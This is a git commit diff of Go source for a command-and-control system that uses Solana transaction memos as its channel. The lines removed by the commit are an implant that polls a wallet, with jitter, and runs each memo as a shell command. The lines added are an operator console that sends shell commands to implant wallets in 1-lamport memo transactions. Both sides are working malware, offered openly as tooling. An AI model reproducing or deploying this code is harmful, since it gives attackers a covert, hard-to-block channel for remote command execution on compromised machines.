Upload files to "c2_blockchain_memo/cmd"
This commit is contained in:
+159
-164
@@ -1,221 +1,207 @@
|
|||||||
// cmd/client/main.go — C2 Blockchain Memo Implant
|
// cmd/server/main.go — C2 Blockchain Memo Server (Operator Tool)
|
||||||
//
|
//
|
||||||
// Watches a Solana wallet address for incoming transactions and
|
// Sends commands to implants by embedding them in Solana transaction
|
||||||
// extracts any memo text (via the Memo Program). If the memo
|
// memo fields. Each command is sent as a 1-lamport SOL transfer + memo
|
||||||
// contains a shell command, it executes the command locally.
|
// instruction to the implant's wallet address.
|
||||||
//
|
|
||||||
// The implant tracks which transactions it has already processed
|
|
||||||
// so it only executes each command once.
|
|
||||||
//
|
//
|
||||||
// Usage:
|
// Usage:
|
||||||
//
|
//
|
||||||
// # Watch a wallet (no keypair needed — read-only mode):
|
// # With a funded keypair (Solana CLI JSON-array format):
|
||||||
// go run ./cmd/client --address <WALLET_ADDRESS> --rpc devnet
|
// go run ./cmd/server --keypair ~/.config/solana/id.json --rpc devnet
|
||||||
//
|
//
|
||||||
// # Watch own wallet from keypair:
|
// # Generate a fresh ephemeral keypair (no SOL — for testing):
|
||||||
// go run ./cmd/client --keypair implant-keypair.json --rpc devnet
|
// go run ./cmd/server
|
||||||
//
|
//
|
||||||
// # Watch with custom polling interval (default 15s, with ±50% jitter):
|
// Interactive commands once running:
|
||||||
// go run ./cmd/client --address ... --interval 30
|
// send <IMPLANT_ADDRESS> <shell command>
|
||||||
|
// balance
|
||||||
|
// quit
|
||||||
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bufio"
|
||||||
"context"
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"flag"
|
"flag"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"math/rand"
|
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"os/signal"
|
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
|
||||||
"syscall"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/gagliardetto/solana-go"
|
"github.com/gagliardetto/solana-go"
|
||||||
|
"github.com/gagliardetto/solana-go/programs/memo"
|
||||||
|
"github.com/gagliardetto/solana-go/programs/system"
|
||||||
"github.com/gagliardetto/solana-go/rpc"
|
"github.com/gagliardetto/solana-go/rpc"
|
||||||
)
|
)
|
||||||
|
|
||||||
// seenTracks keeps track of processed transaction signatures so we
|
|
||||||
// never re-execute a command.
|
|
||||||
type seenTracker struct {
|
|
||||||
mu sync.Mutex
|
|
||||||
seen map[string]struct{}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (st *seenTracker) Add(sig string) {
|
|
||||||
st.mu.Lock()
|
|
||||||
st.seen[sig] = struct{}{}
|
|
||||||
st.mu.Unlock()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (st *seenTracker) Has(sig string) bool {
|
|
||||||
st.mu.Lock()
|
|
||||||
defer st.mu.Unlock()
|
|
||||||
_, ok := st.seen[sig]
|
|
||||||
return ok
|
|
||||||
}
|
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
var (
|
var (
|
||||||
addressStr = flag.String("address", "", "Implant wallet address to watch")
|
keypairPath = flag.String("keypair", "", "Path to operator keypair (Solana CLI JSON array)")
|
||||||
keypairPath = flag.String("keypair", "", "Path to implant keypair (uses its address)")
|
|
||||||
rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL")
|
rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL")
|
||||||
intervalSec = flag.Int("interval", 15, "Polling interval in seconds")
|
|
||||||
limit = flag.Int("limit", 10, "Max transactions to fetch per poll")
|
|
||||||
)
|
)
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
|
// Resolve named endpoints
|
||||||
endpoint := resolveEndpoint(*rpcEndpoint)
|
endpoint := resolveEndpoint(*rpcEndpoint)
|
||||||
|
|
||||||
// ── Resolve the wallet address to watch ──────────────────────────
|
// ── Load or generate operator wallet ──────────────────────────────
|
||||||
var watchAddress solana.PublicKey
|
var operatorWallet solana.PrivateKey
|
||||||
|
var err error
|
||||||
|
|
||||||
if *addressStr != "" {
|
if *keypairPath != "" {
|
||||||
var err error
|
operatorWallet, err = loadKeypair(*keypairPath)
|
||||||
watchAddress, err = solana.PublicKeyFromBase58(*addressStr)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Invalid --address %q: %v", *addressStr, err)
|
|
||||||
}
|
|
||||||
} else if *keypairPath != "" {
|
|
||||||
key, err := loadKeypair(*keypairPath)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err)
|
log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err)
|
||||||
}
|
}
|
||||||
watchAddress = key.PublicKey()
|
fmt.Printf("✅ Loaded operator wallet from %s\n", *keypairPath)
|
||||||
} else {
|
} else {
|
||||||
log.Fatal("Either --address or --keypair must be provided")
|
operatorWallet, err = solana.NewRandomPrivateKey()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to generate keypair: %v", err)
|
||||||
|
}
|
||||||
|
fmt.Println("⚠️ Generated ephemeral operator wallet (no SOL — use --keypair)")
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("🔭 Watching address: %s\n", watchAddress.String())
|
operatorPub := operatorWallet.PublicKey()
|
||||||
fmt.Printf("🔗 RPC endpoint: %s\n", endpoint)
|
fmt.Printf("📍 Operator address: %s\n", operatorPub.String())
|
||||||
fmt.Printf("⏱ Poll interval: %ds (with ±50%% jitter)\n", *intervalSec)
|
fmt.Printf("🔗 RPC endpoint: %s\n\n", endpoint)
|
||||||
fmt.Println()
|
|
||||||
|
|
||||||
client := rpc.New(endpoint)
|
client := rpc.New(endpoint)
|
||||||
ctx, cancel := context.WithCancel(context.Background())
|
ctx := context.Background()
|
||||||
defer cancel()
|
|
||||||
|
|
||||||
tracker := &seenTracker{seen: make(map[string]struct{})}
|
// ── Interactive REPL ──────────────────────────────────────────────
|
||||||
baseInterval := time.Duration(*intervalSec) * time.Second
|
scanner := bufio.NewScanner(os.Stdin)
|
||||||
|
fmt.Println("━━━ C2 Blockchain Memo — Operator ━━━")
|
||||||
// ── Signal handling for graceful shutdown ───────────────────────
|
fmt.Println("Commands:")
|
||||||
sigCh := make(chan os.Signal, 1)
|
fmt.Println(" send <ADDRESS> <command> Send a shell command to an implant")
|
||||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
fmt.Println(" balance Check operator wallet SOL balance")
|
||||||
|
fmt.Println(" quit Exit")
|
||||||
fmt.Println("━━━ C2 Blockchain Memo — Implant ─━━")
|
|
||||||
fmt.Println("Listening for commands... Press Ctrl+C to stop.")
|
|
||||||
fmt.Println()
|
fmt.Println()
|
||||||
|
|
||||||
// ── Polling loop ─────────────────────────────────────────────────
|
|
||||||
poll := func() {
|
|
||||||
sigs, err := client.GetSignaturesForAddressWithOpts(
|
|
||||||
ctx,
|
|
||||||
watchAddress,
|
|
||||||
&rpc.GetSignaturesForAddressOpts{
|
|
||||||
Limit: &[]int{*limit}[0],
|
|
||||||
Commitment: rpc.CommitmentConfirmed,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("⚠️ Poll error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Process newest first (they come newest-first from the RPC)
|
|
||||||
for _, ts := range sigs {
|
|
||||||
// Only process confirmed/finalized transactions
|
|
||||||
if ts.Err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
// Skip already-seen
|
|
||||||
sigStr := ts.Signature.String()
|
|
||||||
if tracker.Has(sigStr) {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
tracker.Add(sigStr)
|
|
||||||
|
|
||||||
// Check for memo via TxMemo field (populated by runtime for
|
|
||||||
// transactions that include a Memo Program instruction).
|
|
||||||
// This is faster than fetching the full transaction.
|
|
||||||
if ts.Memo == nil || *ts.Memo == "" {
|
|
||||||
// No memo attached to this transaction — skip.
|
|
||||||
// Optionally, we could fall back to fetching the full
|
|
||||||
// transaction and parsing instructions, but the Memo
|
|
||||||
// field is reliable for Memo Program transactions.
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
command := *ts.Memo
|
|
||||||
fmt.Printf("📩 New command from tx %s:\n", sigStr)
|
|
||||||
fmt.Printf(" Command: %s\n", command)
|
|
||||||
executeCommand(command)
|
|
||||||
fmt.Println()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Do an initial poll immediately
|
|
||||||
poll()
|
|
||||||
|
|
||||||
// ── Polling ticker with jitter ───────────────────────────────────
|
|
||||||
ticker := time.NewTicker(baseInterval)
|
|
||||||
defer ticker.Stop()
|
|
||||||
|
|
||||||
for {
|
for {
|
||||||
select {
|
fmt.Print("› ")
|
||||||
case <-ticker.C:
|
if !scanner.Scan() {
|
||||||
// Add jitter: ±50% of base interval, then poll
|
break
|
||||||
jitter := time.Duration(float64(baseInterval) * (rand.Float64() - 0.5))
|
}
|
||||||
time.Sleep(baseInterval + jitter)
|
line := strings.TrimSpace(scanner.Text())
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
poll()
|
parts := strings.SplitN(line, " ", 3)
|
||||||
|
switch parts[0] {
|
||||||
// Schedule next tick
|
case "quit", "exit", "q":
|
||||||
ticker.Reset(baseInterval)
|
fmt.Println("Bye.")
|
||||||
|
|
||||||
case <-sigCh:
|
|
||||||
fmt.Println("\n👋 Shutting down...")
|
|
||||||
cancel()
|
|
||||||
return
|
return
|
||||||
|
case "balance":
|
||||||
|
checkBalance(ctx, client, operatorPub)
|
||||||
|
case "send":
|
||||||
|
if len(parts) < 3 {
|
||||||
|
fmt.Println("Usage: send <IMPLANT_ADDRESS> <command>")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
sendCommand(ctx, client, operatorWallet, parts[1], parts[2], endpoint)
|
||||||
|
default:
|
||||||
|
fmt.Printf("Unknown command: %q (try: send, balance, quit)\n", parts[0])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Command execution ───────────────────────────────────────────────
|
// ── Core: send a command as a memo transaction ──────────────────────
|
||||||
|
|
||||||
func executeCommand(command string) {
|
|
||||||
// Determine shell
|
|
||||||
shell, ok := os.LookupEnv("SHELL")
|
|
||||||
if !ok {
|
|
||||||
shell = "/bin/sh"
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command(shell, "-c", command)
|
|
||||||
cmd.Stdin = os.Stdin
|
|
||||||
cmd.Stderr = os.Stderr
|
|
||||||
// Capture stdout
|
|
||||||
output, err := cmd.Output()
|
|
||||||
|
|
||||||
|
func sendCommand(
|
||||||
|
ctx context.Context,
|
||||||
|
client *rpc.Client,
|
||||||
|
operator solana.PrivateKey,
|
||||||
|
implantAddrStr, command string,
|
||||||
|
endpoint string,
|
||||||
|
) {
|
||||||
|
implantPubkey, err := solana.PublicKeyFromBase58(implantAddrStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ Command failed: %v", err)
|
log.Printf("❌ Invalid implant address %q: %v", implantAddrStr, err)
|
||||||
if len(output) > 0 {
|
|
||||||
fmt.Printf(" Output (partial): %s\n", strings.TrimSpace(string(output)))
|
|
||||||
}
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
outStr := strings.TrimSpace(string(output))
|
// 1. Get latest blockhash
|
||||||
if outStr != "" {
|
recent, err := client.GetLatestBlockhash(ctx, rpc.CommitmentFinalized)
|
||||||
fmt.Printf("✅ Output:\n%s\n", outStr)
|
if err != nil {
|
||||||
} else {
|
log.Printf("❌ Failed to get recent blockhash: %v", err)
|
||||||
fmt.Println("✅ Command executed (no output)")
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
operatorPub := operator.PublicKey()
|
||||||
|
|
||||||
|
// 2. Build transfer instruction (1 lamport — minimal cost,
|
||||||
|
// creates an on-chain footprint linking to the implant address)
|
||||||
|
transferIx := system.NewTransferInstruction(
|
||||||
|
1, // lamports
|
||||||
|
operatorPub,
|
||||||
|
implantPubkey,
|
||||||
|
).Build()
|
||||||
|
|
||||||
|
// 3. Build memo instruction with the command text
|
||||||
|
memoIx, err := memo.NewMemoInstruction(
|
||||||
|
[]byte(command),
|
||||||
|
operatorPub,
|
||||||
|
).ValidateAndBuild()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to build memo instruction: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. Build the transaction
|
||||||
|
tx, err := solana.NewTransaction(
|
||||||
|
[]solana.Instruction{transferIx, memoIx},
|
||||||
|
recent.Value.Blockhash,
|
||||||
|
solana.TransactionPayer(operatorPub),
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to build transaction: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. Sign
|
||||||
|
_, err = tx.Sign(func(key solana.PublicKey) *solana.PrivateKey {
|
||||||
|
if key.Equals(operatorPub) {
|
||||||
|
return &operator
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to sign transaction: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 6. Send
|
||||||
|
sig, err := client.SendTransaction(ctx, tx)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to send transaction: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
clusterParam := clusterParamFromEndpoint(endpoint)
|
||||||
|
|
||||||
|
fmt.Printf("✅ Command sent!\n")
|
||||||
|
fmt.Printf(" Signature: %s\n", sig.String())
|
||||||
|
fmt.Printf(" Explorer: https://solscan.io/tx/%s?%s\n", sig.String(), clusterParam)
|
||||||
|
fmt.Printf(" Command: %q\n", command)
|
||||||
|
fmt.Printf(" Implant: %s\n", implantAddrStr)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Keypair loading (shared helper) ─────────────────────────────────
|
// ── Balance check ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func checkBalance(ctx context.Context, client *rpc.Client, pubkey solana.PublicKey) {
|
||||||
|
balance, err := client.GetBalance(ctx, pubkey, rpc.CommitmentFinalized)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Failed to check balance: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
sol := float64(balance.Value) / 1e9
|
||||||
|
fmt.Printf("💰 Balance: %.9f SOL (%d lamports)\n", sol, balance.Value)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Keypair loading ─────────────────────────────────────────────────
|
||||||
|
|
||||||
func loadKeypair(path string) (solana.PrivateKey, error) {
|
func loadKeypair(path string) (solana.PrivateKey, error) {
|
||||||
data, err := os.ReadFile(path)
|
data, err := os.ReadFile(path)
|
||||||
@@ -246,7 +232,7 @@ func loadKeypair(path string) (solana.PrivateKey, error) {
|
|||||||
return solana.PrivateKey(byteArr), nil
|
return solana.PrivateKey(byteArr), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Endpoint resolution ─────────────────────────────────────────────
|
// ── Helpers ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
func resolveEndpoint(name string) string {
|
func resolveEndpoint(name string) string {
|
||||||
switch strings.ToLower(name) {
|
switch strings.ToLower(name) {
|
||||||
@@ -261,6 +247,15 @@ func resolveEndpoint(name string) string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func init() {
|
func clusterParamFromEndpoint(endpoint string) string {
|
||||||
rand.New(rand.NewSource(time.Now().UnixNano()))
|
switch {
|
||||||
|
case strings.Contains(endpoint, "mainnet"):
|
||||||
|
return "cluster=mainnet-beta"
|
||||||
|
case strings.Contains(endpoint, "devnet"):
|
||||||
|
return "cluster=devnet"
|
||||||
|
case strings.Contains(endpoint, "testnet"):
|
||||||
|
return "cluster=testnet"
|
||||||
|
default:
|
||||||
|
return "cluster=custom&customUrl=" + endpoint
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user